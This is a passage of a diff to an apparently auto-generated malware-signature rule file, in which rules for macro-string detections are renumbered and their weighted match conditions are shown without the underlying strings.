00 07 00 07 00 21 " @@ -300520,7 +317003,7 @@ rule _InfrastructureShared_23041{ ((#a_53_0 & 1)*19747+(#a_52_1 & 1)*270+(#a_72_2 & 1)*16672+(#a_44_3 & 1)*28229+(#a_90_4 & 1)*1794+(#a_03_5 & 1)*1424+(#a_40_6 & 1)*-28662) >=7 } -rule _InfrastructureShared_23042{ +rule _InfrastructureShared_24327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -300530,7 +317013,7 @@ rule _InfrastructureShared_23042{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_23043{ +rule _InfrastructureShared_24328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -300540,7 +317023,7 @@ rule _InfrastructureShared_23043{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23044{ +rule _InfrastructureShared_24329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -300550,7 +317033,7 @@ rule _InfrastructureShared_23044{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23045{ +rule _InfrastructureShared_24330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -300560,7 +317043,7 @@ rule _InfrastructureShared_23045{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23046{ +rule _InfrastructureShared_24331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -300570,7 +317053,7 @@ rule _InfrastructureShared_23046{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23047{ +rule _InfrastructureShared_24332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -300582,7 +317065,7 @@ rule _InfrastructureShared_23047{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*8820+(#a_2e_2 & 1)*17491) >=3 } -rule _InfrastructureShared_23048{ +rule _InfrastructureShared_24333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 06 00 21 " @@ -300596,7 +317079,7 @@ rule _InfrastructureShared_23048{ ((#a_4c_0 & 1)*21539+(#a_79_1 & 1)*31089+(#a_29_2 & 1)*14376+(#a_29_3 & 1)*14376+(#a_2e_4 & 1)*28484) >=7 } -rule _InfrastructureShared_23049{ +rule _InfrastructureShared_24334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -300606,7 +317089,7 @@ rule _InfrastructureShared_23049{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23050{ +rule _InfrastructureShared_24335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -300616,7 +317099,7 @@ rule _InfrastructureShared_23050{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_23051{ +rule _InfrastructureShared_24336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -300627,7 +317110,7 @@ rule _InfrastructureShared_23051{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*21282) >=1 } -rule _InfrastructureShared_23052{ +rule _InfrastructureShared_24337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -300638,7 +317121,7 @@ rule _InfrastructureShared_23052{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*12322) >=2 } -rule _InfrastructureShared_23053{ +rule _InfrastructureShared_24338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -300648,7 +317131,7 @@ rule _InfrastructureShared_23053{ ((#a_53_0 & 1)*19747) >=2 } -rule _InfrastructureShared_23054{ +rule _InfrastructureShared_24339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -300659,7 +317142,7 @@ rule _InfrastructureShared_23054{ ((#a_53_0 & 1)*19747+(#a_66_1 & 1)*26220) >=2 } -rule _InfrastructureShared_23055{ +rule _InfrastructureShared_24340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -300672,7 +317155,7 @@ rule _InfrastructureShared_23055{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*15617+(#a_29_2 & 1)*8236+(#a_65_3 & 1)*17772) >=4 } -rule _InfrastructureShared_23056{ +rule _InfrastructureShared_24341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -300686,7 +317169,7 @@ rule _InfrastructureShared_23056{ ((#a_4c_0 & 1)*21539+(#a_77_1 & 1)*17484+(#a_00_2 & 1)*29541+(#a_6d_3 & 1)*12109+(#a_90_4 & 1)*11298) >=5 } -rule _InfrastructureShared_23057{ +rule _InfrastructureShared_24342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,ffffffd2 00 ffffffd2 00 04 00 21 " @@ -300699,7 +317182,7 @@ rule _InfrastructureShared_23057{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*100+(#a_01_2 & 1)*100+(#a_8b_3 & 1)*0) >=210 } -rule _InfrastructureShared_23058{ +rule _InfrastructureShared_24343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -300709,7 +317192,7 @@ rule _InfrastructureShared_23058{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_23059{ +rule _InfrastructureShared_24344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -300721,7 +317204,7 @@ rule _InfrastructureShared_23059{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*17409+(#a_67_2 & 1)*24914) >=4 } -rule _InfrastructureShared_23060{ +rule _InfrastructureShared_24345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -300736,7 +317219,7 @@ rule _InfrastructureShared_23060{ ((#a_4c_0 & 1)*21539+(#a_43_1 & 1)*384+(#a_69_2 & 1)*28755+(#a_65_3 & 1)*656+(#a_3a_4 & 1)*656+(#a_6d_5 & 1)*656) >=7 } -rule _InfrastructureShared_23061{ +rule _InfrastructureShared_24346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -300746,7 +317229,7 @@ rule _InfrastructureShared_23061{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23062{ +rule _InfrastructureShared_24347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -300756,7 +317239,7 @@ rule _InfrastructureShared_23062{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23063{ +rule _InfrastructureShared_24348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -300766,7 +317249,7 @@ rule _InfrastructureShared_23063{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23064{ +rule _InfrastructureShared_24349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -300777,7 +317260,7 @@ rule _InfrastructureShared_23064{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*21536) >=1 } -rule _InfrastructureShared_23065{ +rule _InfrastructureShared_24350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -300788,7 +317271,7 @@ rule _InfrastructureShared_23065{ ((#a_53_0 & 1)*19747+(#a_67_1 & 1)*22372) >=1 } -rule _InfrastructureShared_23066{ +rule _InfrastructureShared_24351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -300799,7 +317282,7 @@ rule _InfrastructureShared_23066{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*656) >=2 } -rule _InfrastructureShared_23067{ +rule _InfrastructureShared_24352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 06 00 21 " @@ -300814,7 +317297,7 @@ rule _InfrastructureShared_23067{ ((#a_43_0 & 1)*19747+(#a_6d_1 & 1)*28515+(#a_66_2 & 1)*29540+(#a_52_3 & 1)*21320+(#a_02_4 & 1)*8230+(#a_2c_5 & 1)*11298) >=4 } -rule _InfrastructureShared_23068{ +rule _InfrastructureShared_24353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -300830,7 +317313,7 @@ rule _InfrastructureShared_23068{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_8c_5 & 1)*0+(#a_00_6 & 1)*0) >=7 } -rule _InfrastructureShared_23069{ +rule _InfrastructureShared_24354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -300841,7 +317324,7 @@ rule _InfrastructureShared_23069{ ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*26478) >=11 } -rule _InfrastructureShared_23070{ +rule _InfrastructureShared_24355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -300851,7 +317334,7 @@ rule _InfrastructureShared_23070{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23071{ +rule _InfrastructureShared_24356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -300862,7 +317345,7 @@ rule _InfrastructureShared_23071{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*11040) >=1 } -rule _InfrastructureShared_23072{ +rule _InfrastructureShared_24357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -300874,7 +317357,7 @@ rule _InfrastructureShared_23072{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*29807+(#a_06_2 & 1)*-28581) >=3 } -rule _InfrastructureShared_23073{ +rule _InfrastructureShared_24358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -300886,7 +317369,7 @@ rule _InfrastructureShared_23073{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*23378+(#a_90_2 & 1)*23363) >=3 } -rule _InfrastructureShared_23074{ +rule _InfrastructureShared_24359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -300899,7 +317382,7 @@ rule _InfrastructureShared_23074{ ((#a_54_0 & 1)*18467+(#a_3d_1 & 1)*3584+(#a_6e_2 & 1)*26988+(#a_59_3 & 1)*17455) >=4 } -rule _InfrastructureShared_23075{ +rule _InfrastructureShared_24360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -300912,7 +317395,7 @@ rule _InfrastructureShared_23075{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*29554+(#a_00_2 & 1)*8805+(#a_3a_3 & 1)*8705) >=4 } -rule _InfrastructureShared_23076{ +rule _InfrastructureShared_24361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -300924,7 +317407,7 @@ rule _InfrastructureShared_23076{ ((#a_53_0 & 1)*19747+(#a_06_1 & 1)*-28640+(#a_03_2 & 1)*1424) >=1 } -rule _InfrastructureShared_23077{ +rule _InfrastructureShared_24362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -300935,7 +317418,7 @@ rule _InfrastructureShared_23077{ ((#a_53_0 & 1)*19747+(#a_2e_1 & 1)*656) >=2 } -rule _InfrastructureShared_23078{ +rule _InfrastructureShared_24363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 03 00 21 " @@ -300947,7 +317430,7 @@ rule _InfrastructureShared_23078{ ((#a_6c_0 & 1)*16675+(#a_6d_1 & 1)*30789+(#a_2f_2 & 1)*25971) >=2 } -rule _InfrastructureShared_23079{ +rule _InfrastructureShared_24364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -300959,7 +317442,7 @@ rule _InfrastructureShared_23079{ ((#a_46_0 & 1)*16675+(#a_07_1 & 1)*-28625+(#a_90_2 & 1)*25455) >=3 } -rule _InfrastructureShared_23080{ +rule _InfrastructureShared_24365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -300971,7 +317454,7 @@ rule _InfrastructureShared_23080{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*801+(#a_23_2 & 1)*4) >=3 } -rule _InfrastructureShared_23081{ +rule _InfrastructureShared_24366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 04 00 21 " @@ -300984,7 +317467,7 @@ rule _InfrastructureShared_23081{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*29537+(#a_45_2 & 1)*10355+(#a_30_3 & 1)*8381) >=3 } -rule _InfrastructureShared_23082{ +rule _InfrastructureShared_24367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -300995,7 +317478,7 @@ rule _InfrastructureShared_23082{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*-16401) >=10 } -rule _InfrastructureShared_23083{ +rule _InfrastructureShared_24368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -301005,7 +317488,7 @@ rule _InfrastructureShared_23083{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_23084{ +rule _InfrastructureShared_24369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -301016,7 +317499,7 @@ rule _InfrastructureShared_23084{ ((#a_4c_0 & 1)*21539+(#a_08_1 & 1)*-28625) >=1 } -rule _InfrastructureShared_23085{ +rule _InfrastructureShared_24370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -301027,7 +317510,7 @@ rule _InfrastructureShared_23085{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144) >=2 } -rule _InfrastructureShared_23086{ +rule _InfrastructureShared_24371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -301038,7 +317521,7 @@ rule _InfrastructureShared_23086{ ((#a_53_0 & 1)*19747+(#a_68_1 & 1)*26739) >=2 } -rule _InfrastructureShared_23087{ +rule _InfrastructureShared_24372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -301050,7 +317533,7 @@ rule _InfrastructureShared_23087{ ((#a_54_0 & 1)*18467+(#a_78_1 & 1)*14968+(#a_65_2 & 1)*28528) >=3 } -rule _InfrastructureShared_23088{ +rule _InfrastructureShared_24373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 04 00 21 " @@ -301063,7 +317546,7 @@ rule _InfrastructureShared_23088{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*25719+(#a_61_2 & 1)*27758+(#a_77_3 & 1)*26707) >=3 } -rule _InfrastructureShared_23089{ +rule _InfrastructureShared_24374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -301075,7 +317558,7 @@ rule _InfrastructureShared_23089{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*29801+(#a_20_3 & 1)*17472) >=4 } -rule _InfrastructureShared_23090{ +rule _InfrastructureShared_24375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -301085,7 +317568,7 @@ rule _InfrastructureShared_23090{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23091{ +rule _InfrastructureShared_24376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -301096,7 +317579,7 @@ rule _InfrastructureShared_23091{ ((#a_53_0 & 1)*19747+(#a_03_1 & 1)*1) >=1 } -rule _InfrastructureShared_23092{ +rule _InfrastructureShared_24377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -301106,7 +317589,7 @@ rule _InfrastructureShared_23092{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23093{ +rule _InfrastructureShared_24378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -301117,7 +317600,7 @@ rule _InfrastructureShared_23093{ ((#a_4c_0 & 1)*21539+(#a_22_1 & 1)*11784) >=1 } -rule _InfrastructureShared_23094{ +rule _InfrastructureShared_24379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -301129,7 +317612,7 @@ rule _InfrastructureShared_23094{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*656+(#a_22_2 & 1)*656) >=1 } -rule _InfrastructureShared_23095{ +rule _InfrastructureShared_24380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -301142,7 +317625,7 @@ rule _InfrastructureShared_23095{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*26479+(#a_61_2 & 1)*11886+(#a_4d_3 & 1)*14671) >=1 } -rule _InfrastructureShared_23096{ +rule _InfrastructureShared_24381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -301155,7 +317638,7 @@ rule _InfrastructureShared_23096{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*25122+(#a_34_2 & 1)*11833+(#a_53_3 & 1)*29795) >=1 } -rule _InfrastructureShared_23097{ +rule _InfrastructureShared_24382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -301169,7 +317652,7 @@ rule _InfrastructureShared_23097{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*12090+(#a_65_2 & 1)*30051+(#a_90_3 & 1)*26479+(#a_02_4 & 1)*25359) >=5 } -rule _InfrastructureShared_23098{ +rule _InfrastructureShared_24383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -301179,7 +317662,7 @@ rule _InfrastructureShared_23098{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_23099{ +rule _InfrastructureShared_24384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -301189,7 +317672,7 @@ rule _InfrastructureShared_23099{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23100{ +rule _InfrastructureShared_24385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -301200,7 +317683,7 @@ rule _InfrastructureShared_23100{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*27682) >=1 } -rule _InfrastructureShared_23101{ +rule _InfrastructureShared_24386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -301211,7 +317694,7 @@ rule _InfrastructureShared_23101{ ((#a_53_0 & 1)*19747+(#a_39_1 & 1)*12291) >=1 } -rule _InfrastructureShared_23102{ +rule _InfrastructureShared_24387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -301223,7 +317706,7 @@ rule _InfrastructureShared_23102{ ((#a_53_0 & 1)*19747+(#a_67_1 & 1)*25890+(#a_54_2 & 1)*24943) >=1 } -rule _InfrastructureShared_23103{ +rule _InfrastructureShared_24388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -301235,7 +317718,7 @@ rule _InfrastructureShared_23103{ ((#a_53_0 & 1)*19747+(#a_32_1 & 1)*13106+(#a_00_3 & 1)*-28928) >=4 } -rule _InfrastructureShared_23104{ +rule _InfrastructureShared_24389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -301246,7 +317729,7 @@ rule _InfrastructureShared_23104{ ((#a_53_0 & 1)*19747+(#a_29_1 & 1)*28261) >=1 } -rule _InfrastructureShared_23105{ +rule _InfrastructureShared_24390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -301257,7 +317740,7 @@ rule _InfrastructureShared_23105{ ((#a_53_0 & 1)*19747+(#a_0f_1 & 1)*-28640) >=1 } -rule _InfrastructureShared_23106{ +rule _InfrastructureShared_24391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -301268,7 +317751,7 @@ rule _InfrastructureShared_23106{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*12035) >=1 } -rule _InfrastructureShared_23107{ +rule _InfrastructureShared_24392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -301281,7 +317764,7 @@ rule _InfrastructureShared_23107{ ((#a_53_0 & 1)*19747+(#a_68_1 & 1)*31040+(#a_64_2 & 1)*16942+(#a_01_3 & 1)*2) >=1 } -rule _InfrastructureShared_23108{ +rule _InfrastructureShared_24393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 04 00 21 " @@ -301294,7 +317777,7 @@ rule _InfrastructureShared_23108{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*27206+(#a_22_2 & 1)*11040+(#a_02_3 & 1)*8235) >=2 } -rule _InfrastructureShared_23109{ +rule _InfrastructureShared_24394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -301306,7 +317789,7 @@ rule _InfrastructureShared_23109{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*16386+(#a_00_2 & 1)*10530) >=3 } -rule _InfrastructureShared_23110{ +rule _InfrastructureShared_24395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -301318,7 +317801,7 @@ rule _InfrastructureShared_23110{ ((#a_53_0 & 1)*19747+(#a_5c_1 & 1)*11808+(#a_22_2 & 1)*29295) >=3 } -rule _InfrastructureShared_23111{ +rule _InfrastructureShared_24396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -301328,7 +317811,7 @@ rule _InfrastructureShared_23111{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_23112{ +rule _InfrastructureShared_24397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -301339,7 +317822,7 @@ rule _InfrastructureShared_23112{ ((#a_53_0 & 1)*19747+(#a_47_1 & 1)*26945) >=1 } -rule _InfrastructureShared_23113{ +rule _InfrastructureShared_24398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -301350,7 +317833,7 @@ rule _InfrastructureShared_23113{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290) >=2 } -rule _InfrastructureShared_23114{ +rule _InfrastructureShared_24399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -301361,7 +317844,7 @@ rule _InfrastructureShared_23114{ ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*21536) >=2 } -rule _InfrastructureShared_23115{ +rule _InfrastructureShared_24400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 03 00 21 " @@ -301373,7 +317856,7 @@ rule _InfrastructureShared_23115{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*13315+(#a_2f_2 & 1)*14137) >=2 } -rule _InfrastructureShared_23116{ +rule _InfrastructureShared_24401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -301385,7 +317868,7 @@ rule _InfrastructureShared_23116{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*14661+(#a_93_2 & 1)*0) >=3 } -rule _InfrastructureShared_23117{ +rule _InfrastructureShared_24402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -301397,7 +317880,7 @@ rule _InfrastructureShared_23117{ ((#a_53_0 & 1)*19747+(#a_4f_1 & 1)*25927+(#a_00_2 & 1)*10536) >=3 } -rule _InfrastructureShared_23118{ +rule _InfrastructureShared_24403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -301409,7 +317892,7 @@ rule _InfrastructureShared_23118{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*297+(#a_3d_2 & 1)*26978) >=4 } -rule _InfrastructureShared_23119{ +rule _InfrastructureShared_24404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -301422,7 +317905,7 @@ rule _InfrastructureShared_23119{ ((#a_4c_0 & 1)*21539+(#a_77_1 & 1)*5122+(#a_29_2 & 1)*27756+(#a_74_3 & 1)*28273) >=4 } -rule _InfrastructureShared_23120{ +rule _InfrastructureShared_24405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -301437,7 +317920,7 @@ rule _InfrastructureShared_23120{ ((#a_6c_0 & 1)*16675+(#a_6f_1 & 1)*28279+(#a_02_2 & 1)*-28632+(#a_75_3 & 1)*11817+(#a_20_4 & 1)*825+(#a_28_5 & 1)*29288) >=6 } -rule _InfrastructureShared_23121{ +rule _InfrastructureShared_24406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -301447,7 +317930,7 @@ rule _InfrastructureShared_23121{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23122{ +rule _InfrastructureShared_24407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -301457,7 +317940,7 @@ rule _InfrastructureShared_23122{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23123{ +rule _InfrastructureShared_24408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -301468,7 +317951,7 @@ rule _InfrastructureShared_23123{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*22062) >=2 } -rule _InfrastructureShared_23124{ +rule _InfrastructureShared_24409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -301480,7 +317963,7 @@ rule _InfrastructureShared_23124{ ((#a_53_0 & 1)*19747+(#a_6c_1 & 1)*28737+(#a_20_2 & 1)*30035) >=3 } -rule _InfrastructureShared_23125{ +rule _InfrastructureShared_24410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -301493,7 +317976,7 @@ rule _InfrastructureShared_23125{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*21106+(#a_01_2 & 1)*6656+(#a_61_3 & 1)*27758) >=4 } -rule _InfrastructureShared_23126{ +rule _InfrastructureShared_24411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 05 00 21 " @@ -301506,7 +317989,7 @@ rule _InfrastructureShared_23126{ ((#a_4c_0 & 1)*21539+(#a_70_2 & 1)*25857+(#a_6c_3 & 1)*11895+(#a_54_4 & 1)*19525) >=4 } -rule _InfrastructureShared_23127{ +rule _InfrastructureShared_24412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -301521,7 +318004,7 @@ rule _InfrastructureShared_23127{ ((#a_54_0 & 1)*19747+(#a_6c_1 & 1)*25970+(#a_00_2 & 1)*66+(#a_26_3 & 1)*26627+(#a_68_5 & 